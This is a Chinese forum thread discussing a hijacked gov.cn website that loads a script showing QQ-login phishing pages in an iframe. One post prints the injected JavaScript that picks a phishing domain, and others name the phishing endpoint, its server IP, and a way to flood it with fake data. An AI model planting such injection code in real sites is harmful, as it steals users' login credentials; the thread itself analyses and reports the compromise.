离了大谱，gov.cn域名居然也能用于诈骗了？

lzylyg

lzylyg 发表于 2024-10-22 15:59
打给他们当地12345

不是你挂的马为什么要打电话

kpxyyyy

lo5253 发表于 2024-10-22 22:03
不是你挂的马为什么要打电话

你跟他说cnm你们政府被挂马了我QQ被盗了赔钱

pykane

网页引用js（https://6eds.work/url.js），里面函数指向随机的url，利用iframe标签显示钓鱼页面.

1. function myFunction() {
   
2. 
   
3.     let randomNum = Math.floor(Math.random() * 1);
   
4.     switch (randomNum) {
   
5.         case 0:
   
6.               return 'https://003f.work/'
   
7.             break;
   
8.         case 1:
   
9.               return 'https://893d.work/'
   
10.             break;
    
11.    
    
12.         case 7:
    
13.              return 'https://3eds.work/'
    
14.             break;
    
15.         default:
    
16.             // 处理异常情况
    
17.              return 'https://6eds.work/'
    
18.     }
    
19. }

复制代码

萌十七

登录QQ 的 Quash2 验证是无法拿到任何信息的。
如果你被盗了，和这个GOV的网站没有一点关系，
可可能是电脑中木马了，或其它未知方式。
不要什么都喷，先了解事情的原因。
Oauth2 验证都是要跳转到官方（QQ网站） 上去输入验证登录信息的。

lo5253

lo5253 发表于 2024-10-22 22:01
假数据IP筛选就好了。买IP要钱，不划算。

上报的时候有上报本机ip，这个给他写个随机家宽段的就行了

总有星辰开道

pykane 发表于 2024-10-22 22:11
登录QQ 的 Quash2 验证是无法拿到任何信息的。
如果你被盗了，和这个GOV的网站没有一点关系，
可可能是电脑 ...

你是真的无脑喷，你自己看不到前面mjj的回复？跟quash2一分钱关系也没有，信息通过post提交到https://003f.work/qq/lateron.asp，查了下是新加坡阿里云47.236.75.186

长泰

mjj有时候亦正亦邪

aecBigBug

以前非常常见的钓鱼手法

萌十七

连泉州都没安排上反诈，是科技的力量content@mail.gov.cn       
已投递到对方邮箱
        2024年10月23日(星期三) 上午9:31  


我已经通知安全部门来处理了